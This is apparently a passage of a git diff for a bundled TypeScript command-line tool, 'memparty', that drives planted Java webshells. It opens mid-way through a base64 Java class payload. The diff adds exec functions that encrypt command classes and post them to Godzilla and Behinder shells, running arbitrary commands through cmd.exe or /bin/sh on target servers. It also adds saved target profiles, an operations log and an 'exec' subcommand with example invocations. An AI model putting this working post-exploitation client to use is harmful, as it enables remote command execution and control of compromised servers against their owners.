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";
|
|
221
222
|
var ECHO_CLASS_BYTES = Buffer.from(ECHO_CLASS_B64, "base64");
|
|
223
|
+
var CMD_CLASS_BYTES = Buffer.from(CMD_CLASS_B64, "base64");
|
|
222
224
|
var GODZILLA_PAYLOAD_BYTES = Buffer.from(GODZILLA_PAYLOAD_B64, "base64");
|
|
223
225
|
|
|
224
226
|
// src/connect/classfile.ts
|
|
@@ -612,6 +614,55 @@ async function testBehinder(url, pass, options = {}) {
|
|
|
612
614
|
durationMs: Date.now() - started
|
|
613
615
|
};
|
|
614
616
|
}
|
|
617
|
+
async function execBehinder(url, pass, command, options = {}) {
|
|
618
|
+
const started = Date.now();
|
|
619
|
+
const key = md5Key16(pass);
|
|
620
|
+
const classBytes = injectStringConstant(CMD_CLASS_BYTES, "cmd", command);
|
|
621
|
+
const fail = (error) => ({
|
|
622
|
+
ok: false,
|
|
623
|
+
tool: "behinder",
|
|
624
|
+
url,
|
|
625
|
+
command,
|
|
626
|
+
error,
|
|
627
|
+
durationMs: Date.now() - started
|
|
628
|
+
});
|
|
629
|
+
const encodings = options.requestEncoding === "raw" ? ["raw"] : options.requestEncoding === "base64" ? ["base64"] : ["base64", "raw"];
|
|
630
|
+
const failures = [];
|
|
631
|
+
for (const encoding of encodings) {
|
|
632
|
+
const encrypted = aesEcbEncrypt(classBytes, key);
|
|
633
|
+
const body = encoding === "base64" ? Buffer.from(encrypted.toString("base64")) : encrypted;
|
|
634
|
+
let response;
|
|
635
|
+
try {
|
|
636
|
+
response = await postRaw(url, body, {
|
|
637
|
+
headers: buildHeaders({ "Content-Type": "application/octet-stream" }, options),
|
|
638
|
+
timeoutMs: options.timeoutMs,
|
|
639
|
+
insecure: options.insecure
|
|
640
|
+
});
|
|
641
|
+
} catch (err) {
|
|
642
|
+
return fail(err instanceof Error ? err.message : String(err));
|
|
643
|
+
}
|
|
644
|
+
const envelope = parseEchoResponse(response.body, key);
|
|
645
|
+
if (envelope) {
|
|
646
|
+
if (envelope.status === "success") {
|
|
647
|
+
return {
|
|
648
|
+
ok: true,
|
|
649
|
+
tool: "behinder",
|
|
650
|
+
url,
|
|
651
|
+
command,
|
|
652
|
+
output: envelope.msg,
|
|
653
|
+
durationMs: Date.now() - started
|
|
654
|
+
};
|
|
655
|
+
}
|
|
656
|
+
return fail(`remote status "fail": ${envelope.msg}`);
|
|
657
|
+
}
|
|
658
|
+
failures.push(
|
|
659
|
+
`${encoding}: HTTP ${response.status}, response not a valid Behinder envelope` + (response.body.length > 0 ? ` (starts with: ${excerpt(response.body)})` : " (empty body)")
|
|
660
|
+
);
|
|
661
|
+
}
|
|
662
|
+
return fail(
|
|
663
|
+
failures.join("; ") + " \u2014 wrong password, missing gate header, or not a Behinder shell"
|
|
664
|
+
);
|
|
665
|
+
}
|
|
615
666
|
|
|
616
667
|
// src/connect/godzilla.ts
|
|
617
668
|
function serializeParams(params) {
|
|
@@ -715,6 +766,87 @@ async function testGodzilla(url, pass, key, options = {}) {
|
|
|
715
766
|
};
|
|
716
767
|
}
|
|
717
768
|
}
|
|
769
|
+
async function execGodzilla(url, pass, key, command, options = {}) {
|
|
770
|
+
const started = Date.now();
|
|
771
|
+
const xc = md5Key16(key);
|
|
772
|
+
const wrapper = md5Hex(pass + xc).toUpperCase();
|
|
773
|
+
const left = wrapper.slice(0, 16);
|
|
774
|
+
const right = wrapper.slice(16);
|
|
775
|
+
const fail = (error) => ({
|
|
776
|
+
ok: false,
|
|
777
|
+
tool: "godzilla",
|
|
778
|
+
url,
|
|
779
|
+
command,
|
|
780
|
+
error,
|
|
781
|
+
durationMs: Date.now() - started
|
|
782
|
+
});
|
|
783
|
+
const baseHeaders = buildHeaders(
|
|
784
|
+
{ "Content-Type": "application/x-www-form-urlencoded" },
|
|
785
|
+
options
|
|
786
|
+
);
|
|
787
|
+
const post = (data, cookie2) => postRaw(url, encodeBody(pass, xc, data), {
|
|
788
|
+
headers: cookie2 ? { ...baseHeaders, Cookie: cookie2 } : baseHeaders,
|
|
789
|
+
timeoutMs: options.timeoutMs,
|
|
790
|
+
insecure: options.insecure
|
|
791
|
+
});
|
|
792
|
+
let initResponse;
|
|
793
|
+
try {
|
|
794
|
+
initResponse = await post(GODZILLA_PAYLOAD_BYTES);
|
|
795
|
+
} catch (err) {
|
|
796
|
+
return fail(err instanceof Error ? err.message : String(err));
|
|
797
|
+
}
|
|
798
|
+
const cookies = extractCookies(initResponse.headers);
|
|
799
|
+
const cookie = cookies.length > 0 ? cookies.join("; ") : void 0;
|
|
800
|
+
const callMethod = async (methodName, extraParams = []) => {
|
|
801
|
+
const callData = gzip(
|
|
802
|
+
serializeParams([["methodName", Buffer.from(methodName, "utf8")], ...extraParams])
|
|
803
|
+
);
|
|
804
|
+
const res = await post(callData, cookie);
|
|
805
|
+
const text = res.body.toString("latin1");
|
|
806
|
+
const leftIdx = text.indexOf(left);
|
|
807
|
+
const rightIdx = leftIdx === -1 ? -1 : text.indexOf(right, leftIdx + left.length);
|
|
808
|
+
if (leftIdx === -1 || rightIdx === -1) {
|
|
809
|
+
throw new Error(
|
|
810
|
+
`HTTP ${res.status}, response lacks the Godzilla wrapper` + (text.trim().length > 0 ? ` (starts with: ${excerpt2(res.body)})` : " (empty body)") + " \u2014 wrong pass/key, missing gate header, or not a Godzilla shell"
|
|
811
|
+
);
|
|
812
|
+
}
|
|
813
|
+
const wrapped = text.slice(leftIdx + left.length, rightIdx);
|
|
814
|
+
return gunzipLenient(aesEcbDecrypt(Buffer.from(wrapped, "base64"), xc));
|
|
815
|
+
};
|
|
816
|
+
let os = options.os ?? "auto";
|
|
817
|
+
if (os === "auto") {
|
|
818
|
+
try {
|
|
819
|
+
const info = (await callMethod("getBasicsInfo")).toString("utf8");
|
|
820
|
+
const osLine = info.split("\n").find((l) => l.startsWith("OsInfo :")) ?? info;
|
|
821
|
+
os = /os\.name:[^\n]*windows/i.test(osLine) ? "windows" : "linux";
|
|
822
|
+
} catch (err) {
|
|
823
|
+
return fail(err instanceof Error ? err.message : String(err));
|
|
824
|
+
}
|
|
825
|
+
}
|
|
826
|
+
const argv = os === "windows" ? ["cmd.exe", "/c", command] : ["/bin/sh", "-c", command];
|
|
827
|
+
const params = [
|
|
828
|
+
["argsCount", Buffer.from(String(argv.length), "utf8")],
|
|
829
|
+
...argv.map((arg, i) => [`arg-${i}`, Buffer.from(arg, "utf8")])
|
|
830
|
+
];
|
|
831
|
+
try {
|
|
832
|
+
const output = await callMethod("execCommand", params);
|
|
833
|
+
return {
|
|
834
|
+
ok: true,
|
|
835
|
+
tool: "godzilla",
|
|
836
|
+
url,
|
|
837
|
+
command,
|
|
838
|
+
output: output.toString("utf8"),
|
|
839
|
+
durationMs: Date.now() - started
|
|
840
|
+
};
|
|
841
|
+
} catch (err) {
|
|
842
|
+
if (err instanceof Error && err.message.includes("wrapper")) {
|
|
843
|
+
return fail(err.message);
|
|
844
|
+
}
|
|
845
|
+
return fail(
|
|
846
|
+
`found wrapper but failed to decrypt \u2014 wrong key? (${err instanceof Error ? err.message : String(err)})`
|
|
847
|
+
);
|
|
848
|
+
}
|
|
849
|
+
}
|
|
718
850
|
|
|
719
851
|
// src/connect/suo5.ts
|
|
720
852
|
import { randomBytes as randomBytes2 } from "crypto";
|
|
@@ -880,6 +1012,233 @@ async function testSuo5(url, options = {}) {
|
|
|
880
1012
|
};
|
|
881
1013
|
}
|
|
882
1014
|
|
|
1015
|
+
// src/core/oplog.ts
|
|
1016
|
+
import { appendFileSync, existsSync, mkdirSync, readFileSync as readFileSync2 } from "fs";
|
|
1017
|
+
import { homedir as homedir2 } from "os";
|
|
1018
|
+
import { dirname, join as join2 } from "path";
|
|
1019
|
+
var OUTPUT_LIMIT = 2e3;
|
|
1020
|
+
function opLogPath() {
|
|
1021
|
+
return process.env.MEMPARTY_OPLOG ?? join2(homedir2(), ".memparty", "operations.jsonl");
|
|
1022
|
+
}
|
|
1023
|
+
function logOp(entry) {
|
|
1024
|
+
try {
|
|
1025
|
+
const file = opLogPath();
|
|
1026
|
+
mkdirSync(dirname(file), { recursive: true });
|
|
1027
|
+
appendFileSync(file, `${JSON.stringify({ ts: (/* @__PURE__ */ new Date()).toISOString(), ...entry })}
|
|
1028
|
+
`);
|
|
1029
|
+
} catch {
|
|
1030
|
+
}
|
|
1031
|
+
}
|
|
1032
|
+
function readOps(filter = {}) {
|
|
1033
|
+
let entries = [];
|
|
1034
|
+
try {
|
|
1035
|
+
const file = opLogPath();
|
|
1036
|
+
if (existsSync(file)) {
|
|
1037
|
+
for (const line of readFileSync2(file, "utf8").split("\n")) {
|
|
1038
|
+
const trimmed = line.trim();
|
|
1039
|
+
if (!trimmed) continue;
|
|
1040
|
+
try {
|
|
1041
|
+
entries.push(JSON.parse(trimmed));
|
|
1042
|
+
} catch {
|
|
1043
|
+
}
|
|
1044
|
+
}
|
|
1045
|
+
}
|
|
1046
|
+
} catch {
|
|
1047
|
+
return [];
|
|
1048
|
+
}
|
|
1049
|
+
if (filter.category) {
|
|
1050
|
+
entries = entries.filter((e) => e.category === filter.category);
|
|
1051
|
+
}
|
|
1052
|
+
if (filter.target) {
|
|
1053
|
+
const t = filter.target;
|
|
1054
|
+
entries = entries.filter(
|
|
1055
|
+
(e) => e.targetName === t || e.targetName?.startsWith(`${t}/`) || e.url?.includes(t)
|
|
1056
|
+
);
|
|
1057
|
+
}
|
|
1058
|
+
return entries.slice(-(filter.limit ?? 50)).reverse();
|
|
1059
|
+
}
|
|
1060
|
+
function truncateOutput(output) {
|
|
1061
|
+
if (output.length <= OUTPUT_LIMIT) return { output, truncated: false };
|
|
1062
|
+
return { output: output.slice(0, OUTPUT_LIMIT), truncated: true };
|
|
1063
|
+
}
|
|
1064
|
+
function formatOp(e) {
|
|
1065
|
+
const ts = e.ts.replace("T", " ").slice(0, 19);
|
|
1066
|
+
const cat = e.category.padEnd(7);
|
|
1067
|
+
const status = e.ok ? "ok " : "FAIL";
|
|
1068
|
+
const target = e.targetName ?? e.url ?? "-";
|
|
1069
|
+
const ms = e.durationMs !== void 0 ? ` (${e.durationMs}ms)` : "";
|
|
1070
|
+
let summary;
|
|
1071
|
+
if (e.category === "exec") {
|
|
1072
|
+
const out = (e.output ?? e.error ?? "").split("\n", 1)[0];
|
|
1073
|
+
const more = (e.output ?? "").includes("\n") || e.outputTruncated ? "\u2026" : "";
|
|
1074
|
+
summary = `$ ${e.command ?? ""} \u2192 ${out}${more}`;
|
|
1075
|
+
} else {
|
|
1076
|
+
summary = e.detail ?? e.error ?? e.action;
|
|
1077
|
+
}
|
|
1078
|
+
return `${ts} ${cat} ${status} ${target} ${summary}${ms}`;
|
|
1079
|
+
}
|
|
1080
|
+
|
|
1081
|
+
// src/core/targets.ts
|
|
1082
|
+
import { existsSync as existsSync2, mkdirSync as mkdirSync2, readFileSync as readFileSync3, writeFileSync } from "fs";
|
|
1083
|
+
import { homedir as homedir3 } from "os";
|
|
1084
|
+
import { dirname as dirname2, join as join3 } from "path";
|
|
1085
|
+
var NAME_RE = /^[A-Za-z0-9][A-Za-z0-9._-]*$/;
|
|
1086
|
+
function checkName(kind, name) {
|
|
1087
|
+
if (!NAME_RE.test(name)) {
|
|
1088
|
+
throw new Error(
|
|
1089
|
+
`invalid ${kind} name ${JSON.stringify(name)} \u2014 use letters, digits, '.', '_', '-'`
|
|
1090
|
+
);
|
|
1091
|
+
}
|
|
1092
|
+
}
|
|
1093
|
+
function targetStorePath() {
|
|
1094
|
+
return process.env.MEMPARTY_TARGETS ?? join3(homedir3(), ".memparty", "targets.json");
|
|
1095
|
+
}
|
|
1096
|
+
function listProjects() {
|
|
1097
|
+
try {
|
|
1098
|
+
const file = targetStorePath();
|
|
1099
|
+
if (!existsSync2(file)) return {};
|
|
1100
|
+
const data = JSON.parse(readFileSync3(file, "utf8"));
|
|
1101
|
+
if (data !== null && typeof data === "object" && !Array.isArray(data)) {
|
|
1102
|
+
return data;
|
|
1103
|
+
}
|
|
1104
|
+
} catch {
|
|
1105
|
+
}
|
|
1106
|
+
return {};
|
|
1107
|
+
}
|
|
1108
|
+
function getProject(name) {
|
|
1109
|
+
return listProjects()[name] ?? null;
|
|
1110
|
+
}
|
|
1111
|
+
function writeProjects(projects) {
|
|
1112
|
+
const file = targetStorePath();
|
|
1113
|
+
mkdirSync2(dirname2(file), { recursive: true });
|
|
1114
|
+
writeFileSync(file, `${JSON.stringify(projects, null, 2)}
|
|
1115
|
+
`, { mode: 384 });
|
|
1116
|
+
}
|
|
1117
|
+
function saveProjectMeta(name, meta) {
|
|
1118
|
+
checkName("project", name);
|
|
1119
|
+
const projects = listProjects();
|
|
1120
|
+
const now = (/* @__PURE__ */ new Date()).toISOString();
|
|
1121
|
+
const existing = projects[name];
|
|
1122
|
+
const norm = (v) => v ? v : void 0;
|
|
1123
|
+
const project = {
|
|
1124
|
+
remark: meta.remark !== void 0 ? norm(meta.remark) : existing?.remark,
|
|
1125
|
+
category: meta.category !== void 0 ? norm(meta.category) : existing?.category,
|
|
1126
|
+
createdAt: existing?.createdAt ?? now,
|
|
1127
|
+
updatedAt: now,
|
|
1128
|
+
shells: existing?.shells ?? {}
|
|
1129
|
+
};
|
|
1130
|
+
projects[name] = project;
|
|
1131
|
+
writeProjects(projects);
|
|
1132
|
+
return project;
|
|
1133
|
+
}
|
|
1134
|
+
function saveShell(projectName, shellName, input3) {
|
|
1135
|
+
checkName("project", projectName);
|
|
1136
|
+
checkName("shell", shellName);
|
|
1137
|
+
const projects = listProjects();
|
|
1138
|
+
const now = (/* @__PURE__ */ new Date()).toISOString();
|
|
1139
|
+
const project = projects[projectName] ?? {
|
|
1140
|
+
createdAt: now,
|
|
1141
|
+
updatedAt: now,
|
|
1142
|
+
shells: {}
|
|
1143
|
+
};
|
|
1144
|
+
const existing = project.shells[shellName];
|
|
1145
|
+
const stored = {
|
|
1146
|
+
...input3,
|
|
1147
|
+
// remark is merged (empty string clears); other fields are overwritten
|
|
1148
|
+
remark: input3.remark !== void 0 ? input3.remark || void 0 : existing?.remark,
|
|
1149
|
+
createdAt: existing?.createdAt ?? now,
|
|
1150
|
+
updatedAt: now
|
|
1151
|
+
};
|
|
1152
|
+
project.shells[shellName] = stored;
|
|
1153
|
+
project.updatedAt = now;
|
|
1154
|
+
projects[projectName] = project;
|
|
1155
|
+
writeProjects(projects);
|
|
1156
|
+
return stored;
|
|
1157
|
+
}
|
|
1158
|
+
function removeProject(name) {
|
|
1159
|
+
const projects = listProjects();
|
|
1160
|
+
if (!(name in projects)) return false;
|
|
1161
|
+
delete projects[name];
|
|
1162
|
+
writeProjects(projects);
|
|
1163
|
+
return true;
|
|
1164
|
+
}
|
|
1165
|
+
function removeShell(projectName, shellName) {
|
|
1166
|
+
const projects = listProjects();
|
|
1167
|
+
const project = projects[projectName];
|
|
1168
|
+
if (!project || !(shellName in project.shells)) return false;
|
|
1169
|
+
delete project.shells[shellName];
|
|
1170
|
+
project.updatedAt = (/* @__PURE__ */ new Date()).toISOString();
|
|
1171
|
+
writeProjects(projects);
|
|
1172
|
+
return true;
|
|
1173
|
+
}
|
|
1174
|
+
function saveShellMeta(projectName, shellName, meta) {
|
|
1175
|
+
const projects = listProjects();
|
|
1176
|
+
const shell = projects[projectName]?.shells[shellName];
|
|
1177
|
+
if (!shell) {
|
|
1178
|
+
throw new Error(`unknown shell ${JSON.stringify(`${projectName}/${shellName}`)}`);
|
|
1179
|
+
}
|
|
1180
|
+
if (meta.remark !== void 0) {
|
|
1181
|
+
shell.remark = meta.remark || void 0;
|
|
1182
|
+
}
|
|
1183
|
+
const now = (/* @__PURE__ */ new Date()).toISOString();
|
|
1184
|
+
shell.updatedAt = now;
|
|
1185
|
+
projects[projectName].updatedAt = now;
|
|
1186
|
+
writeProjects(projects);
|
|
1187
|
+
return shell;
|
|
1188
|
+
}
|
|
1189
|
+
function resolveConnection(ref, flags) {
|
|
1190
|
+
let stored;
|
|
1191
|
+
let targetName;
|
|
1192
|
+
if (ref) {
|
|
1193
|
+
const slash = ref.indexOf("/");
|
|
1194
|
+
const projectName = slash === -1 ? ref : ref.slice(0, slash);
|
|
1195
|
+
let shellName = slash === -1 ? void 0 : ref.slice(slash + 1);
|
|
1196
|
+
const project = getProject(projectName);
|
|
1197
|
+
if (!project) {
|
|
1198
|
+
throw new Error(`unknown project ${JSON.stringify(projectName)} \u2014 see 'memparty target list'`);
|
|
1199
|
+
}
|
|
1200
|
+
if (!shellName) {
|
|
1201
|
+
const names = Object.keys(project.shells);
|
|
1202
|
+
if (names.length === 0) {
|
|
1203
|
+
throw new Error(`project ${JSON.stringify(projectName)} has no shells yet`);
|
|
1204
|
+
}
|
|
1205
|
+
if (names.length > 1) {
|
|
1206
|
+
throw new Error(
|
|
1207
|
+
`project ${JSON.stringify(projectName)} has ${names.length} shells \u2014 pick one: ` + names.map((n) => `${projectName}/${n}`).join(", ")
|
|
1208
|
+
);
|
|
1209
|
+
}
|
|
1210
|
+
shellName = names[0];
|
|
1211
|
+
}
|
|
1212
|
+
stored = project.shells[shellName];
|
|
1213
|
+
if (!stored) {
|
|
1214
|
+
const known = Object.keys(project.shells);
|
|
1215
|
+
throw new Error(
|
|
1216
|
+
`unknown shell ${JSON.stringify(ref)} \u2014 project ${JSON.stringify(projectName)} has: ` + (known.length > 0 ? known.join(", ") : "(none)")
|
|
1217
|
+
);
|
|
1218
|
+
}
|
|
1219
|
+
targetName = `${projectName}/${shellName}`;
|
|
1220
|
+
}
|
|
1221
|
+
const tool = flags.tool ?? stored?.tool;
|
|
1222
|
+
const url = flags.url ?? stored?.url;
|
|
1223
|
+
if (!url) {
|
|
1224
|
+
throw new Error("no URL \u2014 pass --url or a saved target name");
|
|
1225
|
+
}
|
|
1226
|
+
if (!tool) {
|
|
1227
|
+
throw new Error("--tool is required (godzilla | behinder | suo5)");
|
|
1228
|
+
}
|
|
1229
|
+
return {
|
|
1230
|
+
url,
|
|
1231
|
+
tool,
|
|
1232
|
+
pass: flags.pass ?? stored?.pass,
|
|
1233
|
+
key: flags.key ?? stored?.key,
|
|
1234
|
+
headerName: flags.headerName ?? stored?.headerName,
|
|
1235
|
+
headerValue: flags.headerValue ?? stored?.headerValue,
|
|
1236
|
+
extraHeaders: { ...stored?.extraHeaders, ...flags.extraHeaders },
|
|
1237
|
+
insecure: flags.insecure ?? stored?.insecure,
|
|
1238
|
+
targetName
|
|
1239
|
+
};
|
|
1240
|
+
}
|
|
1241
|
+
|
|
883
1242
|
// src/commands/connect.ts
|
|
884
1243
|
function parseExtraHeaders(lines) {
|
|
885
1244
|
const headers = {};
|
|
@@ -895,7 +1254,7 @@ function parseExtraHeaders(lines) {
|
|
|
895
1254
|
function registerConnectCommand(program) {
|
|
896
1255
|
program.command("connect").description(
|
|
897
1256
|
"Test whether a deployed webshell (Godzilla / Behinder / suo5) is alive and the credentials work"
|
|
898
|
-
).
|
|
1257
|
+
).argument("[name]", "saved target name (see 'memparty target list')").option("-u, --url <url>", "URL of the deployed shell (or give a saved target name)").addOption(
|
|
899
1258
|
new Option("-t, --tool <tool>", "shell tool").choices(["godzilla", "behinder", "suo5"])
|
|
900
1259
|
).option("--pass <pass>", "password (godzilla default: pass; behinder default: rebeyond)").option("--key <key>", "godzilla key", "key").option(
|
|
901
1260
|
"--header-name <name>",
|
|
@@ -914,44 +1273,71 @@ Examples:
|
|
|
914
1273
|
$ memparty connect -u http://target/shell.jsp -t behinder --pass rebeyond \\
|
|
915
1274
|
--header-value YdwTyuQr
|
|
916
1275
|
$ memparty connect -u http://target/suo5.jsp -t suo5
|
|
1276
|
+
$ memparty connect web222 # saved target, see 'memparty target'
|
|
917
1277
|
$ memparty connect -u https://target/shell.jsp -t godzilla -k --json
|
|
918
1278
|
|
|
919
1279
|
Note: shells generated by MemShellParty check a gate header \u2014 copy
|
|
920
1280
|
shellToolConfig.headerName/headerValue from the \`gen --json\` output
|
|
921
1281
|
(default header name is "User-Agent"), or the shell stays silent.
|
|
1282
|
+
Save the whole profile with 'memparty target save <name> ...' and then
|
|
1283
|
+
just pass the name.
|
|
922
1284
|
`
|
|
923
|
-
).action(async (opts, cmd) => {
|
|
1285
|
+
).action(async (name, opts, cmd) => {
|
|
924
1286
|
const globals = cmd.optsWithGlobals();
|
|
925
1287
|
const timeoutMs = Number.parseInt(globals.timeout ?? "30000", 10);
|
|
926
|
-
|
|
927
|
-
|
|
1288
|
+
let conn;
|
|
1289
|
+
try {
|
|
1290
|
+
conn = resolveConnection(name, {
|
|
1291
|
+
url: opts.url,
|
|
1292
|
+
tool: opts.tool,
|
|
1293
|
+
pass: opts.pass,
|
|
1294
|
+
key: opts.key,
|
|
1295
|
+
headerName: opts.headerName,
|
|
1296
|
+
headerValue: opts.headerValue,
|
|
1297
|
+
extraHeaders: parseExtraHeaders(opts.header),
|
|
1298
|
+
insecure: opts.insecure
|
|
1299
|
+
});
|
|
1300
|
+
} catch (err) {
|
|
1301
|
+
process.stderr.write(`Error: ${err instanceof Error ? err.message : String(err)}
|
|
1302
|
+
`);
|
|
928
1303
|
process.exitCode = 1;
|
|
929
1304
|
return;
|
|
930
1305
|
}
|
|
931
1306
|
const common = {
|
|
932
|
-
headerName:
|
|
933
|
-
headerValue:
|
|
934
|
-
extraHeaders:
|
|
1307
|
+
headerName: conn.headerName,
|
|
1308
|
+
headerValue: conn.headerValue,
|
|
1309
|
+
extraHeaders: conn.extraHeaders,
|
|
935
1310
|
timeoutMs,
|
|
936
|
-
insecure:
|
|
1311
|
+
insecure: conn.insecure
|
|
937
1312
|
};
|
|
938
1313
|
let result;
|
|
939
|
-
switch (
|
|
1314
|
+
switch (conn.tool) {
|
|
940
1315
|
case "godzilla":
|
|
941
|
-
result = await testGodzilla(
|
|
1316
|
+
result = await testGodzilla(conn.url, conn.pass ?? "pass", conn.key ?? "key", common);
|
|
942
1317
|
break;
|
|
943
1318
|
case "behinder":
|
|
944
|
-
result = await testBehinder(
|
|
1319
|
+
result = await testBehinder(conn.url, conn.pass ?? "rebeyond", common);
|
|
945
1320
|
break;
|
|
946
1321
|
case "suo5":
|
|
947
|
-
result = await testSuo5(
|
|
1322
|
+
result = await testSuo5(conn.url, { ...common, mode: opts.suo5Mode });
|
|
948
1323
|
break;
|
|
949
1324
|
default:
|
|
950
|
-
process.stderr.write(`Error: unknown tool ${
|
|
1325
|
+
process.stderr.write(`Error: unknown tool ${String(conn.tool)}
|
|
951
1326
|
`);
|
|
952
1327
|
process.exitCode = 1;
|
|
953
1328
|
return;
|
|
954
1329
|
}
|
|
1330
|
+
logOp({
|
|
1331
|
+
category: "connect",
|
|
1332
|
+
action: "connect",
|
|
1333
|
+
targetName: conn.targetName,
|
|
1334
|
+
url: conn.url,
|
|
1335
|
+
tool: conn.tool,
|
|
1336
|
+
ok: result.ok,
|
|
1337
|
+
durationMs: result.durationMs,
|
|
1338
|
+
detail: result.detail,
|
|
1339
|
+
error: result.error
|
|
1340
|
+
});
|
|
955
1341
|
if (opts.json) {
|
|
956
1342
|
process.stdout.write(`${JSON.stringify(result, null, 2)}
|
|
957
1343
|
`);
|
|
@@ -970,12 +1356,137 @@ shellToolConfig.headerName/headerValue from the \`gen --json\` output
|
|
|
970
1356
|
});
|
|
971
1357
|
}
|
|
972
1358
|
|
|
973
|
-
// src/commands/
|
|
974
|
-
import { readFileSync as readFileSync3 } from "fs";
|
|
1359
|
+
// src/commands/exec.ts
|
|
975
1360
|
import { Option as Option2 } from "commander";
|
|
1361
|
+
function parseExtraHeaders2(lines) {
|
|
1362
|
+
const headers = {};
|
|
1363
|
+
for (const line of lines ?? []) {
|
|
1364
|
+
const idx = line.indexOf(":");
|
|
1365
|
+
if (idx <= 0) {
|
|
1366
|
+
throw new Error(`invalid header ${JSON.stringify(line)}, expected "Name: value"`);
|
|
1367
|
+
}
|
|
1368
|
+
headers[line.slice(0, idx).trim()] = line.slice(idx + 1).trim();
|
|
1369
|
+
}
|
|
1370
|
+
return headers;
|
|
1371
|
+
}
|
|
1372
|
+
function registerExecCommand(program) {
|
|
1373
|
+
program.command("exec").description(
|
|
1374
|
+
"Execute a command on a deployed webshell (Godzilla / Behinder) and print its output"
|
|
1375
|
+
).argument("[name]", "saved target name (see 'memparty target list')").option("-u, --url <url>", "URL of the deployed shell (or give a saved target name)").addOption(
|
|
1376
|
+
new Option2("-t, --tool <tool>", "shell tool").choices(["godzilla", "behinder"])
|
|
1377
|
+
).requiredOption("--cmd <command>", "command line to execute on the target").option("--pass <pass>", "password (godzilla default: pass; behinder default: rebeyond)").option("--key <key>", "godzilla key", "key").addOption(
|
|
1378
|
+
new Option2("--os <family>", "godzilla: remote OS for the shell wrapper").choices(["auto", "windows", "linux"]).default("auto")
|
|
1379
|
+
).option(
|
|
1380
|
+
"--header-name <name>",
|
|
1381
|
+
"gate header name reported by gen (shellToolConfig.headerName)"
|
|
1382
|
+
).option(
|
|
1383
|
+
"--header-value <value>",
|
|
1384
|
+
"gate header value reported by gen (shellToolConfig.headerValue)"
|
|
1385
|
+
